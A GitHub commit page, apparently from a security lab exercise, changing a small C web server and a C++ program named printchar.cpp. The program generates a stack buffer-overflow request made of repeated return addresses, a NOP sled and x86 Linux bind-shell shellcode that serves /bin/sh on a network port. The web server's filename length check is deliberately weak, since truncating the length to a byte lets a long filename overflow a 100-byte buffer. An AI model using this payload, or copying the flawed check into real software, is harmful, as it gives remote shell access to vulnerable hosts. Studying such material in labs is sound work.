Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Browse files

Revised data generation

  • Loading branch information...
commit 82b112d102fabef7cec3987d39413d2e25721737 1 parent e79e412
Yang Su authored
Showing with 128 additions and 124 deletions.
  1. +16 −12 printchar.cpp
  2. +112 −112 webserver.c
28 printchar.cpp
View
@@ -2,16 +2,20 @@
#include <stdio.h>
using namespace std;
-int main(int argc, char** argv) {
-
-
- char code[] = "\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80";
-
- freopen ("data.dat","w",stdout);
- printf ("GET /");
- printf ("%s",code);
- printf (" HTTP");
- fclose (stdout);
- return 0;
-}
+char filename[] = "data1.dat";
+char addr[] = "\xb0\xfe\xff\xbf";
+int numNoops = 475;
+char noop[] = "\x90";
+int numAddrs = 75;
+char code[] = "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80";
+int main(int argc, char** argv) {
+ freopen (filename, "w", stdout);
+ printf ("GET /");
+ for (unsigned int i = 0; i < numAddrs; ++i) printf("%s", addr);
+ for (unsigned int i = 0; i < numNoops; ++i) printf("%s", noop);
+ printf ("%s", code);
+ printf (" HTTP");
+ fclose (stdout);
+ return 0;
+}
224 webserver.c
View
@@ -34,135 +34,135 @@ const char *content_text = "Content-type: text/plain\n\n";
const char *www_path = "./www/";
int main(int argc, char *argv[]) {
- int port;
+ int port;
- if (argc < 2 || (port = atoi(argv[1])) < 1 || port > 65535) {
- printf("Usage: webserver port\n");
- exit(1);
- }
+ if (argc < 2 || (port = atoi(argv[1])) < 1 || port > 65535) {
+ printf("Usage: webserver port\n");
+ exit(1);
+ }
- port_arg = (char *)malloc(6*sizeof (char));
- memset(port_arg, '\0', 6);
- strncpy(port_arg, argv[1], 5);
+ port_arg = (char *)malloc(6*sizeof (char));
+ memset(port_arg, '\0', 6);
+ strncpy(port_arg, argv[1], 5);
- signal(SIGINT, &sigint);
- signal(SIGSEGV, &sigsegv);
+ signal(SIGINT, &sigint);
+ signal(SIGSEGV, &sigsegv);
- struct sockaddr_in socket_addr;
- sock = socket(PF_INET, SOCK_STREAM, 0);
+ struct sockaddr_in socket_addr;
+ sock = socket(PF_INET, SOCK_STREAM, 0);
int on = 1;
- setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof on);
-
- memset(&socket_addr, 0, sizeof socket_addr);
- socket_addr.sin_family = PF_INET;
- socket_addr.sin_port = htons(port);
- socket_addr.sin_addr.s_addr = htonl(INADDR_ANY);
-
- if (bind(sock, (struct sockaddr *)&socket_addr, sizeof socket_addr) < 0) {
- perror("couldn't bind");
- exit(1);
- }
- listen(sock, 10);
-
- while (1) {
- int acceptsock = accept(sock, NULL, NULL);
- char *input = (char *)malloc(1024*sizeof (char));
- recv(acceptsock, input, 1024, 0);
- int is_html = 0;
- char *contents = handle(input,&is_html);
- free(input);
-
- if (contents != NULL) {
- send(acceptsock, resp_ok, strlen(resp_ok), 0);
- if (is_html)
- send(acceptsock, content_html, strlen(content_html), 0);
- else
- send(acceptsock, content_text, strlen(content_text), 0);
- send(acceptsock, contents, strlen(contents), 0);
- send(acceptsock, "\n", 1, 0);
- free(contents);
- } else
- send(acceptsock, resp_bad, strlen(resp_bad), 0);
-
- close(acceptsock);
- }
-
- return 0;
+ setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof on);
+
+ memset(&socket_addr, 0, sizeof socket_addr);
+ socket_addr.sin_family = PF_INET;
+ socket_addr.sin_port = htons(port);
+ socket_addr.sin_addr.s_addr = htonl(INADDR_ANY);
+
+ if (bind(sock, (struct sockaddr *)&socket_addr, sizeof socket_addr) < 0) {
+ perror("couldn't bind");
+ exit(1);
+ }
+ listen(sock, 10);
+
+ while (1) {
+ int acceptsock = accept(sock, NULL, NULL);
+ char *input = (char *)malloc(1024*sizeof (char));
+ recv(acceptsock, input, 1024, 0);
+ int is_html = 0;
+ char *contents = handle(input,&is_html);
+ free(input);
+
+ if (contents != NULL) {
+ send(acceptsock, resp_ok, strlen(resp_ok), 0);
+ if (is_html)
+ send(acceptsock, content_html, strlen(content_html), 0);
+ else
+ send(acceptsock, content_text, strlen(content_text), 0);
+ send(acceptsock, contents, strlen(contents), 0);
+ send(acceptsock, "\n", 1, 0);
+ free(contents);
+ } else
+ send(acceptsock, resp_bad, strlen(resp_bad), 0);
+
+ close(acceptsock);
+ }
+
+ return 0;
}
char *handle(char *request, int *is_html) {
- char filename[100];
+ char filename[100];
//clear filename
- memset(filename, '\0', 100*sizeof (char));
+ memset(filename, '\0', 100*sizeof (char));
//check to see if there's a get request in the input
- if (strstr(request, prefix) == request) {
- char *start = request + strlen(prefix);
- char *end = strstr(start, " HTTP");
- if (end == NULL) {
- printf("Unsupported command.\n");
- return NULL;
- }
- int len = (int) (end - start);
- if (check_filename_length(len))
- strncpy(filename, start, len);
- else
- return NULL;
- } else {
- printf("Unsupported command.\n");
- return NULL;
- }
-
- if (strstr(filename,"/") != NULL)
- return NULL;
- if (!strcmp(filename, ""))
- strcpy(filename,"index.html");
- if (strstr(filename,".html") != NULL)
- *is_html = 1;
-
- char *path = (char *)malloc((strlen(www_path) + strlen(filename))*sizeof (char));
- strcpy(path, www_path);
- strcpy(path + strlen(www_path), filename);
-
- struct stat file_status;
- if (stat(path, &file_status) != 0)
- return NULL;
-
- char *contents = (char *)malloc((file_status.st_size+1)*sizeof (char));
- memset(contents, '\0', file_status.st_size+1);
-
- FILE *readfile = fopen(path, "r");
- int i;
- for (i=0;i<file_status.st_size;i++)
- contents[i] = fgetc(readfile);
- fclose(readfile);
-
- return contents;
+ if (strstr(request, prefix) == request) {
+ char *start = request + strlen(prefix);
+ char *end = strstr(start, " HTTP");
+ if (end == NULL) {
+ printf("Unsupported command.\n");
+ return NULL;
+ }
+ int len = (int) (end - start);
+ if (check_filename_length(len))
+ strncpy(filename, start, len);
+ else
+ return NULL;
+ } else {
+ printf("Unsupported command.\n");
+ return NULL;
+ }
+
+ if (strstr(filename,"/") != NULL)
+ return NULL;
+ if (!strcmp(filename, ""))
+ strcpy(filename,"index.html");
+ if (strstr(filename,".html") != NULL)
+ *is_html = 1;
+
+ char *path = (char *)malloc((strlen(www_path) + strlen(filename))*sizeof (char));
+ strcpy(path, www_path);
+ strcpy(path + strlen(www_path), filename);
+
+ struct stat file_status;
+ if (stat(path, &file_status) != 0)
+ return NULL;
+
+ char *contents = (char *)malloc((file_status.st_size+1)*sizeof (char));
+ memset(contents, '\0', file_status.st_size+1);
+
+ FILE *readfile = fopen(path, "r");
+ int i;
+ for (i=0;i<file_status.st_size;i++)
+ contents[i] = fgetc(readfile);
+ fclose(readfile);
+
+ return contents;
}
int check_filename_length(byte len) {
- if (len < 100)
- return 1;
- return 0;
+ if (len < 100)
+ return 1;
+ return 0;
}
void sigint(int arg) {
- if (sock)
- close(sock);
- printf("Shutting down peacefully.\n");
- exit(0);
+ if (sock)
+ close(sock);
+ printf("Shutting down peacefully.\n");
+ exit(0);
}
void sigsegv(int arg) {
- if (sock)
- close(sock);
- printf("Segmentation fault. Shutting down peacefully, then rebooting.\n");
-
- sleep(2);
- char *argv[3];
- argv[0] = "./webserver";
- argv[1] = port_arg;
- argv[2] = NULL;
- execv(argv[0], argv);
- free(port_arg);
- exit(1);
+ if (sock)
+ close(sock);
+ printf("Segmentation fault. Shutting down peacefully, then rebooting.\n");
+
+ sleep(2);
+ char *argv[3];
+ argv[0] = "./webserver";
+ argv[1] = port_arg;
+ argv[2] = NULL;
+ execv(argv[0], argv);
+ free(port_arg);
+ exit(1);
}
Please sign in to comment.
Something went wrong with that request. Please try again.